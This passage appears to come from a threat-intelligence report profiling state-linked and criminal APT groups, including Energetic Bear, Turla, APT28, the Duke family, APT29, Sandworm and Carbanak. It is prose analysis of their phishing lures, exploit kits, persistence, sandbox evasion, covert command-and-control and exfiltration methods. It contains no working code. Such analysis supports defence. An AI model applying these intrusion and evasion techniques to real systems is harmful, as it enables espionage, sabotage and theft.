Even if an attack is controlled well enough or mitigated soon enough to prevent serious physical damage to the facility, imagine the economic ramifications that the actor could inflict upon a nation state through repeated targeted attacks on its energy systems.
The gas price hikes of the mid 2000s might seem a minor inconvenience in comparison to the damage caused by a persistent sabotage campaign.
From February to June 2013, Energetic Bear launched a spam campaign against the United States and European energy sectors.
Executives and senior employees in seven organizations received emails, sent from a Gmail account, containing a malicious pdf.
If the pdf was opened, then the malware spread to the network.
The emails were made to look as if they came from a known source (such as the victims boss) and organizations were targeted with anywhere between 1 and 84 emails.
In a more ambitious spear phishing campaign, emails containing remote access Trojans (RATs) were sent to personnel in three ICS equipment manufacturers who dominated their markets.
The malware injected malicious code into the ICS software update bundles that were later posted for download from the manufacturers website.
The targeted equipment which would receive the update are used in a number of sectors, including energy.
The Trojan managed to compromise the bundles of two companies and infect the programmable logic controllers of devices produced by those manufacturers, before the infection was discovered.
30 Later, watering hole attacks were added to the campaign.
In these attacks, websites often visited by personnel of the target organization were compromised (usually with an injected iframe) and set to redirect victims to a site that delivered an exploit kit that installed the malware on the victims PC.
The development of additional attack vector(s) and the resources to compromise third party sites as stepping stones to desired targets suggests that the group is state sponsored.
In either attack, the malware was configured to search victims systems for ICS software and updates and to trojanize the software so that the adversaries could compromise guarded ICS systems the next time the software was downloaded or they were updated by trusted personnel.
The group employs two exploit kits (LightOut and Hello) and two malware (Trojan.
Karagany and Backdoor.
Oldrea).
The exploit kits are used to initially compromise the system and install the malware.
The malware is used for espionage, persistent access, or sabotage.
LightsOut exploits vulnerabilities in Java or in Microsoft Internet Explorer to deploy the Karagany or Oldrea malware onto a users system.
In September 2013, the Hello exploit kit replaced the LightsOut kit.
The Hello kit is combined with watering hole attacks to redirect victims to a landing page, where a JavaScript fingerprints their system to determine details such as operating system, browser, and installed plugins.
The victim is then redirected to the site that contains the exploit most likely to achieve the adversaries goals.
Trojan.
Karagany and Backdoor.
Oldrea are remote access Trojans (RATs) that are used to install additional tools or malware, to search the system for valuable data, and to exfiltrate data from the system.
In an attack, the group uses either Karagany or Oldrea, but never both, because the malware serve the same purpose.
The Karagany malware is only used in 5 of attacks.
Karagany is a widely available exploit for purchase or source code recompilation on the internet underground because its code was leaked in 2010.
Karagany features tools for indexing documents, taking screenshots of the system, and collecting passwords.
At the adversarys instruction, it can also download new tools or files, run plugins or executables, or exfiltrate data to a designated CC server.
Oldrea, also widely known as the Havex malware, appears to be used in most attacks and it appears to have been written by or written for the attackers.
Once installed, Oldrea profiles the system by collecting system information, harvesting outlook address book information, noting VPN configuration files, and indexing files, programs, and the root of available drives.
The data is compiled into a temporary file, encrypted, and sent to an adversary CC server.
Oldrea features a control panel that the adversaries can use to authenticate to a CC server and download a compressed copy of each specific victims data.
The servers hijacked by Energetic Bear to serve as CC servers may have been compromised using the same exploit of content management systems.
31 Uroburos / Epic Turla/ Snake / SnakeNet In 2008, malicious code known as Agent.
BTZ was placed on USB drives that were dropped in the parking lots of defense facilities, such as a United States Department of Defense in the Middle East, in what was considered the worst breach of U.S. military computers in history at the time.
Agent.
BTZ infected systems running Microsoft Windows and allowed attackers to log personal information, cached credentials, and user keystrokes.
The infection propagated and lasted in United States government systems for over a year.
The Agent.btz infection led to the creation of the United States Cyber Command.
The Uroburos malware, which appeared in 2011 (or earlier) and was discovered in 2014, scans for the presence of Agent.
BTZ on target systems and remains inactive if Agent.
BTZ is installed.
Comments and code itself indicate that the authors of both Agent.
BTZ and Uroburos are proficient in Russian.
Some file names, encryption keys, and other technical indicators are shared between the Agent.btz and Uroburos malwares.
Although other possibilities exist, Agent.
BTZ and Uroburos were likely developed by the same group or associated groups.
The Uroburos rootkit is a very advanced and very sophisticated modular malware designed to infect entire networks and exfiltrate confidential data.
The sophistication and flexibility of the Uroburos malware suggests that a highly skilled team, who had access to considerable resources, developed it.
The significant monetary investment necessary to develop the Uroburos platform suggests that it was developed to target businesses, nation states, and intelligence agencies, rather than average citizens.
Based on the exploit kit, the Uroburos group likely has a political or espionage agenda.
The Uroburos malware typically infects 32-bit and 64-bit Microsoft Windows systems that belong to governments, embassies, defense industries, pharmaceutical companies, research and education facilities, and other large companies.
The Uroburos group uses spear phishing campaigns, drive-by-infections, watering hole attacks, and social engineering to push their malware onto target networks.
In spear phishing campaigns, the target receives a tailored email containing an executable RAR self- extracting archive (SFX).
If opened, then the malware unpacks and installs itself (a .SCR executable) on the user system.
When the Uroburos rootkit infects a machine, it can: execute arbitrary code, hide its activity on a system, identify and exfiltrate information such as files, capture network traffic, and infect other systems on the network.
Uroburos consists of a driver (.sys file) and an encrypted virtual file system (.dat file).
The complex driver seems to be specifically designed to be discrete and difficult to identify.
Remote attackers use Uroburos to infect other machines on the network and to communicate between infected hosts using a peer-to-peer architecture.
Uroburos 32 opportunistically propagates through the network.
If Uroburos infects at least one system on a network that has an active internet connection and that host is connected to other systems within the network, then the attacker can infect as many systems as their resources allow.
The malware spies on each system for useful information and uses the P2P architecture to relay information to the attackers.
As such, information can be retrieved from air-gapped systems, transferred from infected host to infected host until it reaches a host with an active internet connection, and then exfiltrated to the adversary.
This methodology allows the malware to bypass many security controls.
The Uroburos rootkit aspires to hide its elements and remain undetected and persistent on the compromised system.
Upon installation, the malware establishes a service (usually Ultra3.sys) that automatically executes during the startup of the system.
This driver is necessary to decrypt the malwares virtual file systems, create additional hooks, inject code into user libraries and applications, and manage communication between the adversary and the malware.
The driver hooks the malware into the system by injecting code into a running process and then redirecting the rest of the running code to execute at the end of the malicious code.
As non-technical simplification, this process, known as inline patching, can be visualized as inserting an extension cord (the malicious code) between another cord and a wall socket.
By doing this, the malware can better remain undiscovered because malicious activity is attached to legitimate processes.
The rootkit consists of two virtual file systems (a NTFS file system and a FAT file system) that are encrypted with CAST-128 and stored locally on the user system.
The encryption key is hardcoded in the driver file.
The virtual file system (a .dat file) has a random name and it is stored with the driver file.
The encrypted file systems function as a work environment for the attackers.
Third party tools, post-exploitation tools, temporary files, and binary output are stored in the file systems.
The NTFS file contains bat scripts which enable the attacker to map remote servers, execute netstat commands, gather system information, log output of tools, tools to steal documents, encrypt stolen documents, and RAR tools to compress and archive stolen documents for exfiltration.
A queue and library injection tool, which acts as a buffer between the queue and the user system, can pcap or snapshot network traffic.
The virtual file system contains protocol information to exfiltrate information through HTTP (external website with GET and POST requests), through ICMP (ping), through SMTP (email), and through named pipe to another infected system.
New libraries and tools can be added by adjusting the built in queue, without reinstalling the malware.
Airgapped systems can be infected through named pipe connections or through USB devices.
In the former case, an infected system serves as a proxy node and it appears passive as it spreads the infection to other systems on the network.
Any infected system can serve as a proxy node, so even if one 33 point of infection is discovered, a tangential system can continue to infect the network as the new proxy node.
The peer-to-peer modular design is resilient to removal, scalable on any network, and reliable.
Further, the framework can be extended to include new features and perform further attacks against the infected host or networks associated with the infected network.
The design of the malware as a driver and a multi-file virtual file system that can only work in combination is an elegant, but sophisticated design that complicates analysis efforts.
Without the driver, the other two files cannot be decrypted.
Without the files systems, the driver is innocuous.
The design is too sophisticated and too expensive to develop to be common spyware.
APT 28/ Sofacy Group/ Sednit Group/ Tsar Team/ Fancy Bear/ Operation Pawnstorm APT 28 is believed to be a state sponsored group that has been active since 2007.
The majority of the APT 28 malware was compiled between Monday  Friday from 8 a.m.  6 p.m. in UTC4.
This parallels working hours in Eastern Europe, Moscow, and Saint Petersburg.
Over half the malware contained portable executable information that indicated that it was programmed with Russian keyboard settings, while the remaining samples were coded using English or Neutral keyboard settings.
Unlike Russian cyber-criminal groups, APT 28 does not exfiltrate financial information from targets and it does not sell the information that it gathers for profit.
Instead, APT 28 gathers geopolitical information that would be specifically relevant to Russia and it uses the information to leverage future attacks.
APT 28 uses spear phishing campaigns, sophisticated malware, and zero-day exploits to infiltrate systems belonging to European governments, NATO affiliates, militaries, security organizations, and media organizations with the intent of exfiltrating state information that could be used to influence policy decisions, public opinion, or geopolitical issues.
Most of the activity has centered on targets of specific interest to a European government, focusing on the Caucasus region and countries along the eastern European border.
APT28 relies upon spear phishing emails or zero-day vulnerabilities to initially compromise victim systems.
APT28 spear phishing emails often originate from a typo- squatted mail server and they typically contain either a decoy document relevant to the target or the link to a typo-squatted malicious domain.
The least sophisticated aspect of APT28s more popular attack vectors is its reliance on user error to deploy its malware.
Unsuspecting users must be tricked into opening the attachment or following the malicious link.
Decoy documents are tailored to the target and they often contain a user specific title, to entice the user to open the attachment, or confidential information, likely obtained through previous breaches, to lend credibility to the document.
In fact, the titles of the decoy 34 documents submitted or found online are so specific that the targets can often be retroactively guessed by security firms, such Trend Micro, using only contextual information.
Variations in the distributed decoy documents suggest that the actors are fluent in multiple languages (at least Russian and English) however grammatical mistakes indicate that English is not their native language.
While all signs in the malware indicate that Russian is the actors native language some Russian researchers at the 2013 PHDays conference in Moscow argued that the dialect is not native Russian.
APT28 uses specialized information about its targets to focus its attacks and limit detection.
Only a limited number of personnel of the target organization receive the decoy documents.
In one notable case, spear phishing emails were sent to only three employees of a billion-dollar multinational firm, whose email addresses were not publicly available or advertised online.
The Sednit platform consists of the SOURFACE/ CORESHELL downloader, the EVILTOSS backdoor, and the CHOPSTICK modular implant.
SOURFACE (also known as Sofacy) or CORESHELL performs runtime checks and reverse engineering counter operations before verifying that the infected machine matches the system profile of the target.
If the target is verified, then the SOURFACE/CORESHELL dropper obtains a second stage backdoor from the C2 server and installs it on the victims system.
The backdoor, EVILTOSS, is used to steal credentials and execute shellcode.
EVILTOSS uploads an RSA public key and encrypts the stolen data.
Then the data is sent via email as an attachment.
EVILTOSS then delivers CHOPSTICK to the victims system and installs it.
CHOPSTICK is comprised of custom implants and tools that are tailored to the target system.
CHOPSTICK actively monitors the victims system by logging keystrokes, taking screenshots, and monitoring network traffic.
PinchDuke The PinchDuke campaign, which operated from November 2008 until summer 2010, is believed to be the first campaign of the Duke malware family.
PinchDuke targeted political organizations in Georgia, Turkey, Uganda, and the United States.
The PinchDuke campaigns began 11 days after President Obamas April 5, 2008 speech concerning the deployment of missile defenses in Poland.
In 2009 the campaign targeted the Ministry of Defense in Georgia, the ministries of foreign affairs in Turkey and Uganda, a United States foreign policy think tank, organizations associated with NATO exercises in Europe, and the Georgian Information Centre on NATO.
In 2010, the group also targeted Kazakhstan, Kyrgyzstan, Azerbaijan, and Uzbekistan.
The political nature of the targets suggests that the campaigns may have been state sponsored.
The selection of targets closely mirrors those of the later APT 28/ Sofacy campaigns, which is widely believed a Russian state sponsored threat actor.
35 Like the rest of the Duke family of malware, the threat actor is attributed to Russia because error messages in the malware are written in Russian.
Though many regions in Eastern Europe use Russian as their primary language, time stamps in the code suggest that the malware was developed in the same time zone as Moscow.
The PinchDuke Trojan samples contain a text string that may serve as a campaign identifier to help the attackers differentiate between associated Duke malware campaigns that were run in parallel using similar exploitation kits.
The malware was delivered via phishing emails containing spoofed news articles from the BBC website or articles concerning NATO.
The malware consists of multiple loaders and an information stealer trojan.
The trojan is based around the source code of the information stealing malware, LdPinch, which has been available on underground forums since the early 2000s.
PinchDukes information stealer targets system configuration files, user credentials, and user files that were created within a predefined timeframe or whose file extension corresponds to a predefined list.
PinchDuke communicated with its CC servers through HTTP(s).
In early 2010, PinchDuke campaigns decreased as other Duke campaigns began.
Afterwards, PinchDuke or its components were absorbed into other campaigns.
Notably, its loaders were later associated with CosmicDuke and occasionally the newer malware would install PinchDuke in its entirety on a victim system as a redundancy infection.
GeminiDuke GeminiDuke was developed and deployed around the same time as PinchDuke and CosmicDuke.
Unlike its sister campaigns, the January 2009  December 2012 GeminiDuke campaign focused on collecting system configuration information from infected hosts.
Samples of the GeminiDuke malware were compiled in UTC3 and UTC4 (depending upon the season), which corresponds to Moscow Standard Time during Daylight Savings Time.
Like PinchDuke and CosmicDuke, GeminiDuke was designed around a core information stealer component.
The malware consisted of a loader, an information stealer, and numerous persistence components.
The information stealer used a mutex based around a timestamp to ensure that only one instance of the malware was running at a time.
The information stealer enumerates: local user accounts, network settings, internet proxy settings, installed drivers, running processes, values of environment variables, programs that run at startup, programs previously executed by the users, programs installed in the Programs Files folder, the files and folders in the users home folder, the files and folders in the users My Documents folder, and recently accessed files, folders, and programs.
The malware employs multiple persistence 36 components similar to those included in CosmicDuke.
MiniDukes backdoor component resembles the source code behind one of GeminiDukes persistence modules.
CosmicDuke/ Tinybaron/ BotgenStudios/ NemesisGemina CosmicDuke is believed to have been developed and deployed by the same team as PinchDuke.
CosmicDuke was compiled on January 16, 2010 and was still active as of June 2015.
CosmicDuke superseded the PinchDuke campaign and its toolkit surpasses the functionality of the PinchDuke exploit kit.
Unlike PinchDuke, CosmicDuke appears to be entirely custom written to the adversarys specifications.
The techniques that CosmicDuke uses to extract user credentials and detect analysis tools may be based on PinchDuke.
At a high-level, CosmicDukes persistence techniques resemble those of GeminiDuke.
Despite the similarities to the other Duke malware, CosmicDuke does not share any code with its sibling campaigns.
CosmicDuke was most famously deployed against individuals believed to be trafficking illicit substances in Russia.
It is possible that Russias law enforcement agencies used the malware as spyware in their war against drugs.
CosmicDuke deploys from a series of loaders and the malware is built around an information stealer that is augmented by persistence components and a privilege escalation tool.
Early variants of the privilege escalation module attempted to exploit CVE-2010-0232 or CVE-2010-4398.
The malware authors likely chose which persistence and escalation tools to include in each variant of the malware in order to exploit known vulnerabilities in the target environment.
For instance, in 2014, after the exposure of MiniDuke, Kaspersky noted the appearance of a CosmicDuke variant that featured a backdoor and the ability to start via Windows Task Scheduler.
The information stealer contains components to log keystrokes, capture screenshots, copy the contents of the clipboard, copy cached user credentials from web browsers and chat clients, export cryptographic certificates and private keys, and exfiltrate user files whose file extension corresponded to a predefined list.
Additionally, CosmicDuke occasionally infected hosts with PinchDuke, GeminiDuke, or MiniDuke though, CosmicDuke code never interoperated with the redundant malware code.
After execution, the two malware ran concurrently and independent of one another.
Typically, the malware even utilized different CC infrastructure.
F-Secure postulates that CosmicDuke may have deployed the other malware to allow the adversary to field test CosmicDuke while relying on the redundant malware to capture mission critical data should CosmicDuke not function correctly on the infected machine.
CosmicDuke can exfiltrate the stolen data to hardcoded CC servers via HTTP(s), FTP, or WebDav.
37 MiniDuke MiniDuke is a highly customizable malware platform that was uncovered by Kaspersky Lab in February 2013.
The malware may have been developed as early as 2010.
According to Eugene Kaspersky, MiniDuke is unique in that it resembles more complex old school malware in fact, many of its components are written in Assembly, a complex low-level programming language.
This could indicate that the Russian authors behind MiniDuke have significant experience in the field.
The initial MiniDuke campaign compromised government institutions in Ukraine, Belgium, Portugal, Romania, the Czech Republic, and Ireland.
Additionally, a research institute, two think tanks, and a healthcare provider were compromised in the United States, as well as a research foundation in Hungary.
Victims were targeted with spear phishing emails containing malicious PDF files.
If opened, the malicious attachments exploited a zero-day vulnerability and dropped a small downloader (20kb) onto the victim system.
The malware drops in 3 stages that are designed to evade sandbox, virtual, and analysis environments.
Checks are processed at each stage before the malware decrypted more of itself.
The downloader appears to be unique to the victim system and contains a customized backdoor.
The downloader determines the system fingerprint and it later uses the information to encrypt its communication with the CC server.
If the target system meets pre-defined requirements and if the malware successfully installs, then the malware will access Twitter as a background process and search for specific tweets from pre-made accounts.
Similar CC infrastructure via Twitter can be found in variants of OnionDuke, CozyDuke, and HammerDuke.
The tweets, authored by the malware operators, contain tags that correspond to the encrypted URLs where the backdoors are stored.
The URLs lead to the CC servers that contain commands and backdoors as .GIF files.
In the event that Twitter is inaccessible, then the malware will run Google search in the background to find the encrypted strings that lead to the next CC server.
OnionDuke In October 2014, Leviathan Security Group disclosed that a Russia based Tor exit node was attaching malware onto the files that passed through it by wrapping legitimate executables with the malware executable.
The technique increased the attackers chance of bypassing integrity check mechanisms.
The malware campaign is believed to have been active from at least February 2013 through spring 2015.
OnionDuke does not operate like the other Duke campaigns however, it does share some CC infrastructure with the MiniDuke attacks.
38 Moreover, unshared domains in both campaigns were registered using the same alias, John Kasai.
As such, it stands to reason that OnionDuke is another Russian state sponsored APT group.
OnionDuke attacks target government agencies in Central Europe.
However, because it is unlikely that European government agencies are accessing Tor from their high value systems, the secondary distribution vector of the malware remains unclear.
The malware has also been found targeting pirated software.
It is possible that the campaign distributes the malware through scattershot attacks via the Tor network and torrent sites and through another yet unobserved vector, such as phishing or wateringhole attacks.
The infection of Tor files appears to fail if the victim users a VPN channel that encrypts traffic.
Systems infected with CozyDuke may be infected with OnionDuke if the former malware is used to deliver and execute the latter malwares dropper.
It is possible that the OnionDuke attacks were conducted to infect a broad range of target to gather information for the other Duke campaigns and to build a botnet for the adversary.
When traffic passes through the infected node, the dropper, Trojan- Dropper:W32/OnionDuke.
A, is appended onto the legitimate files.
The dropper contains a PE resource which appears as an embedded .GIF image file.
In actuality, the resource is a .DLL file, Backdoor:W32/OnionDuke.
B, which is then decrypted, written to disk, and executed.
Next, the DLL decrypts an embedded configuration file, which attempts to contact a hardcoded CC domain through HTTP(s) or through Twitter (if HTTP(s) fails).
The domains appear to be legitimate websites that were compromised to deliver instructions and additional components to the malware.
OnionDuke, like CozyDuke, is built upon a modular platform that was designed for versatility.
The toolset delivered from the CC server contains the information stealer, a DDOS module, a password stealing module, an information gathering module, and a social network (VKontakte) spamming component.
APT29/ Hammertoss / HammerDuke APT29 is a new threat actor that operates during UTC3 work hours.
APT29 targets government organizations in an attempt to collect geopolitical data that could be of interest to Russia.
APT29 might be a state sponsored threat group however, the group is too new to exhibit definitive signs of state sponsorship.
APT29 employs anti-forensic techniques, they monitor analysis and remediation efforts, and they rely upon compromised C2C infrastructure.
Apt29 embeds the Hammertoss commands into images using steganography.
APT29 programs Hammertoss to operate to blend into normal target network traffic and normal target network traffic patterns.
The 39 group preconfigures Hammertoss to activate after a predetermined date and only communicates during specified hours.
There are two variants of Hammertoss, Uploader and tDiscoverer.
Both variants receive their instructions from an embedded image.
Uploader goes to a hard-coded C2C server address and downloads an image of a specific file size.
tDiscoverer generates and visits a new Twitter handle every day from a preconfigured algorithm.
It attempts to visit that page.
If the actor has registered the handle, then it visits the page and looks for a tweet with a URL that indicates the location of its instructions and a hashtag that specifies the minimum size of the image file.
After the number of bytes, the hashtag may also contain a string that the malware adds to its encryption key so that it can decrypt the data.
If the actor has not registered the handle, then the malware waits until the next day and repeats the process with the next handle generated by the algorithm.
The malware fetches the image from the URL.
Uploader or tDiscoverer, decrypts the data hidden in the image, and processes the attackers command.
Commands include conducting reconnaissance on the victim system, executing commands via PowerShell, or uploading stolen data to a cloud storage service.
CozyDuke/ CozyCar/ CozyBear/ Office Monkeys/ Cozer/ EuroAPT The CozyDuke group began attacking governments and associated organizations around 2011.
CozyDuke is a very precise group and it has not been extensively profiled.
It may have been developed or used by actors of the MiniDuke or OnionDuke APT groups.
CozyDuke shares at least some infrastructure with these groups.
Security firm F-Secure reports that CozyDuke, like the rest of the Duke family of malware, originates from a seven-year campaign that is affiliated with the Russian government.
It is unclear whether the Duke family of malware is sponsored by the Russian government or developed and used by a mercenary criminal organization.
Cozy Duke attacks very specific governmental organizations and affiliated entities.
CozyDuke mostly targets United States entities however, government and commercial entities in Chechnya, Germany, South Korea, and Uzbekistan have also been targeted.
CozyDuke is believed to be behind the late 2014 attacks on the United States Department of State and attacks against the White House.
Like most APTs, CozyDuke attacks typically begin with a spear phishing email.
Sometimes the emails are loaded with malicious Adobe Flash video attachments.
In the past, the videos have been funny animal videos.
Other times, the emails contain malicious links that deliver the user to websites that the attackers created to look like real sites.
Otherwise, the email contains a ZIP file containing a decoy PDF document and a self-extracting RAR file.
40 Once the user opens the attachment or visits the link, the initial dropper is installed on the system.
The initial dropper checks the system for security products, and will not install further malware if a program on the system matches software on its list.
The dropper also runs processes to check if it is being run in a virtual machine or sandbox environment.
If either check indicates an analysis environment, then the dropper exits.
Otherwise, the dropper delivers an encrypted configuration file, and installs the CozyDuke components.
The CozyDuke malware is signed with fake Intel and AMD digital certificates so that it appears legitimate to some security solutions.
The CozyDuke malware is a modular platform that consists of a core component, the CozyDuke backdoor, and modules tailored to its target.
The platform includes multiple malware droppers and additional custom and open-source spyware tools.
The CozyDuke main component establishes a persistent beachhead on the victim system, gathers system information, communicates with the C2 infrastructure, and manages the accompanying modules and scripts.
The main component adds a registry value that is executed at system startup.
It also obfuscates itself as a Windows service or scheduled task.
Variants of the main component may also hijack the registry entry of a COM object SharedTaskScheduler so that the malware loads with the COM object.
CozyDuke modules can execute arbitrary code, harvest victim credentials, gather system information, and take screenshots of the victim system.
Some of the CozyDuke modules appear to have been developed in the same development environment as MiniDuke and OnionDuke.
The platform also contains the CORESHELL and CHOPSTICK modules made popular in the Russian state-sponsored APT28 attacks.
CORESHELL is a second stage backdoor that runs numerous anti-analysis procedures.
CHOPSTICK is a modular implant that logs keystrokes, takes screenshots, and monitors network traffic.
Recent variants of CozyDuke deliver SeaDuke and HammerDuke.
SeaDuke is a cross platform backdoor that is written in Python.
This expands the attackers pool of victims to include Linux users.
HammerDuke is a backdoor that connects to a Twitter account name and uses tweets from the account to locate C2 server addresses from which it receives commands or to which to delivers data.
SeaDuke/ SeaDaddy/ SeaDask SeaDuke appeared in October 2014, after the disclosure of most of the Duke campaigns.
Like the majority of the Duke family, SeaDuke exclusively targets government organizations.
The main difference between Seaduke and its sister campaigns is that SeaDuke focuses on a small number of high-value targets.
Additionally, of the Duke malware, SeaDuke alone is 41 programmed in python.
This developers choice could indicate that the group is expanding their victim pool to Linux systems as well as Windows hosts.
The overall framework of the malware remains similar to CozyDuke.
SeaDuke is a highly configurable trojan and backdoor that is often installed onto victim systems through CozyDuke or via a compromised website.
It has hundreds of possible configurations.
According to Symantec, the threat actor behind CozyDuke may only deploy SeaDuke in systems belonging to major government-level targets.
SeaDuke primarily allows the attacker to upload, to download, and to delete files on the victim machine as well as to retrieve bot/ system information and to update the bot configuration.
It is possible that the threat actor deploys the malware to remove the indicators of compromise from other campaigns after a successful breach.
The trojan may also be used to conduct pass the ticket attacks on Kerberos systems, to steal emails from Microsoft Exchange servers using compromised credentials, to archive sensitive data, or to exfiltrate data through legitimate cloud services.
The CC infrastructure behind SeaDuke relies on over 200 compromised web servers and several layers of RC4 and AES encryption and Base 64 encoding techniques.
These extra obfuscation measures may be an attempt to remain undiscovered and thereby remove the attention on the Duke campaigns.
SeaDuke communicates with its CC servers via HTTP(s).
CloudDuke/ MiniDionis/ CloudLook Discovered in June 2015, CloudDuke is the most recent Duke campaign.
The campaign may be a tactical shift in response to the widespread disclosure of the other Duke campaigns by security firms such as Kaspersky, Symantec, and F-Secure.
CloudDuke relies on spear phishing emails that closely resemble those deployed in the CozyDuke campaign.
The CloudDuke emails contain a self-extracting archive attachment that appears as an empty voicemail file (.wav) or a PDF file (often containing the word terrorism).
If opened, then the second stage dropper executes.
So far, the campaign has targeted European diplomatic organizations.
The CloudDuke malware is comprised of a downloader, a loader, and two backdoors, which download and execute from either web address or from a Microsoft OneDrive account.
The malware maps a OneDrive cloud storage drive as a network drive using hardcoded credentials and then it downloads its backdoors to the local system.
The downloader may also download and execute additional malware, likely another Duke malware, from a preconfigured location.
CloudDukes backdoor functionality resembles that of SeaDuke.
One backdoor will contact a preconfigured CC server while the other relies on a Microsoft OneDrive account.
As per its name, CloudDuke uses cloud storage services for its command and control infrastructure as well as its data exfiltration method.
42 Sandworm/ Quedagh/ BlackEnergy The Sandworm team is a Russian advanced persistent threat group that targets systems of political targets of interest to the Russian Federation.
Sandworm is likely state- sponsored.
The groups name originates from strings in their code and names of their CC servers that reference the Dune fantasy book series.
Sandworm has targeted governments and political organizations since at least 2009 but the group also may have been behind the 2008 cyber-attacks against Georgia.
The Ukrainian government, NATO, the European Union, the European Telecommunications sector, European Energy companies, and Poland are among the groups top targets.
Attendees of the May 2014 Globesec conference were also targeted.
Many of the decoy documents used to deploy the malware were spoofed news coverage of political or economic situations in Europe.
The new variant of the BlackEnergy malware, which is now capable of stealing documents from targets, has been used against government institutions in Ukraine and Eastern Europe.
The initial appearance of the malware coincides with the conflict between Russia and Ukraine.
Trend Micro discovered that the newest variant of the malware, customized by the group, can target ICS and SCADA systems.
The group may have infected these systems to monitor or sabotage systems that compete with Russias energy interests.
Sandworm delivers malware through spear phishing emails containing malicious documents, such as a Microsoft PowerPoint attachment.
The attachments either deliver the initial dropper or exploit a zero-day vulnerability to install the malware.
In some cases, legitimate applications were trojanized to perform the installation.
Through zero-day exploits, the malware infects any system running a Windows Operating System ranging from Vista to Windows, including Windows server systems.
The malware only infects the victim system if the current user is a member of the local administrator group.
If the user is not an administrator, then the malware will attempt to re-launch itself as Administrator or exploit the Windows backward compatibility features to bypass UAC.
The BlackEnergy crimeware appeared for sale in underground Russian cyber-markets around 2007.
The malware was designed to create botnets for Distributed Denial of Service attacks (DDoS), but it has since evolved to support other capabilities.
BlackEnergy can create botnets to send spam emails for phishing campaigns and it has tools to harvest passwords and banking credentials from infected computers.
The BlackEnergy toolkit gained notoriety during the 2008 cyber-attacks on Georgia during the conflict between Russia and Georgia.
The BlackEnergy malware is available for 43 purchase in cyber underground communities however, the variant used in Sandworm attacks has been modified with custom code, incorporates a proxy server infrastructure, techniques to User Account Control and driver signing features in 64-bit Windows systems, and tools to collect documents.
F-Secure notes BlackEnergy is used by a variety of criminal and cyber espionage groups so, Sandworms adoption of BlackEnergy, instead of writing custom malware, may have been an attempt to shirk attribution and blend into the crowd of nefarious actors to remain undiscovered.
The BlackEnergy toolkit features a builder application that generates the clients used to infect victim systems, it features server-side scripts to create CC servers, and it includes an interface for the attacker to communicate with their botnet.
F-Secure comments that the toolkit is simple enough and convenient enough that anyone can build a botnet without possessing extensive skills.
The information stealing plugin of the toolkit gathers system information, session information, a list of installed applications, a list of registered mail, browser, and instant messaging clients, a list of network connections, and stored user credentials for online and offline accounts, and exfiltrates the information back to the CC server via a HTTP POST request.
New variants of the malware may also be able to capture screenshots and record audio.
On December 23, 2015, a Sandworm campaign against the Prykarpattyaoblenegro power plant in Ukraine caused a severe outage.
More significant than the immediate loss of power, the threat actor, who is likely backed by the Russian state, demonstrated that the malware, which has been regularly discovered on U.S. networks, can severely cripple a nations critical infrastructure as part of a cyber-physical campaign.
Carbanak The Carbanak group is a criminal advanced persistent threat group whose attacks against dozens (potentially hundreds) of global financial institutions resulted in an estimated 1 billion in losses in the first half of 2014.
Depending on the victim, the attacks are believed to have begun between December 2013 and June 2014.
According to Kaspersky Labs, each victim bank lost 2.5 million to 10 million to the campaign.
The victim financial institutions were located in Russia, the United States, Germany, China and Ukraine additionally, the group may also have begun targeting organizations in Malaysia, Nepal, and Kuwait.
The vast majority of victims (at least 52) are located in Russia.
Overall, the group targeted at least 100 financial organizations at 300 IP addresses located in approximately 30 countries.
Of the 100 organizations targeted, Kaspersky believes that at least half suffered financial loss.
44 The Carbanak group is particularly significant because it demonstrates how the dangerous escalation of sophisticated cyber exploit kits, perpetuated by state sponsored groups and government agencies, has guided the development of complex and demonstratively effective criminal platforms that can financially harm private organizations and individuals alike.
Consider that the Carbanak group stole an estimated 1 billion in less than 6 months.
The loss to the global financial institutions, though meager compared to the entire global economy, can still lead to cascading global economic impacts within and outside the victim organizations.
Like most APT groups, Carbanak attacks began with a spear phishing campaign.
The malicious emails appeared as legitimate banking communique accompanied by attached Microsoft Word (97-2003) documents and Control Panel Applet (.CPL) files.
The attachments infected victim systems with malware and with a backdoor based on the Carberp malware.
It is also possible that some of the emails contained urls that redirected the victim to a landing page that delivered the malware in the background before forwarding the user to a familiar financial site.
Analyzed malicious attachments reveal that the attackers exploited vulnerabilities in Microsoft Word 2003, 2007, and 2010 (CVE-2012-0158, and CVE-2014-1761).
After successful exploitation of a vulnerability, the shellcode decrypts and the Carbanak backdoor is installed on the victim host.
The Carbanak backdoor installs and then it re-installs itself into system32\com as a copy of svhost.exe with the system, hidden, and read-only attributes.
The initial version (delivered by the exploit) is then deleted.
After installation, the backdoor connects to its C2 server through HTTP (with RC2Base64 encryption) and downloads a file (kldconfig.plug) which details which process to monitor.
The kit sets the Termservice service execution mode to auto to enable Remote Desktop Protocol (RDP).
The backdoor provided access to the intranet of the victim organization.
Next, the adversary probed the intranet for other vulnerable targets and specifically for critical financial systems.
Typically, tens to hundreds of computers were infected before an admin system, with the necessary access, was compromised.
If banking applications such as BLIZKO or IFOBS are discovered, then a special notification is sent to the C2 server to notify the adversary that financial systems were discovered.
Once the attackers discovered financial systems on the victim network, they deployed keyloggers, tools to hijack video capture, and screen capture tools to learn as much information as possible about the environment.
The Carbanak tool kit typically logs keystrokes and takes screenshots every 20 seconds.
The monitoring occurs by intercepting the ResumeThread call.
The captured videos are recorded at low bandwidth and are used to help the attackers develop an operational picture of typical workflow, tool usage, and practices.
In addition to training the adversary to transfer money, the monitoring also reduces the likelihood that the adversary will set off behavioral analytic systems.
The remote administration tool, Ammyy Admin, might also 45 be installed on victim systems to ease remote access (the tool is whitelisted by legitimate system administrators in some corporate environments).
Attackers studied the financial tools and applications installed on the victim hosts in order to maximize the potential gain from the compromised system.
Rather than searching for exploits and flaws in the security and financial applications, the adversary meticulously recorded the activity of administrators in order to learn the necessary information and procedures to transfer money.
Files on captured C2 servers indicate that the adversary may also exfiltrate classified emails, manuals, cryptographic keys, and other information.
When the adversary knew the necessary information and knew how to use the most powerful host applications, they would withdraw or transfer significant sums.
The method of withdraw or transfer depended on the system, situation, and available resources (time, people, etc.
).
Observed methods of stealing cash include fraudulent online banking transfers, electronic cash transfers to banks in China and the United States, SWIFT transfers to compromised bank accounts, and remote commands to ATMs to spew cash onto the street at a specific date and time.
In the instances where physical interaction with an ATM or bank personnel was necessary, the group would pay individuals to act as mules in the cash transfer.
The command and control infrastructure rotates every few weeks.
It consists of Linux servers to issue commands, Windows servers used for remote connections, backup servers, and drop servers containing executables and additional components.
Victim systems are catalogued in server logs according to the adversarys categorization.
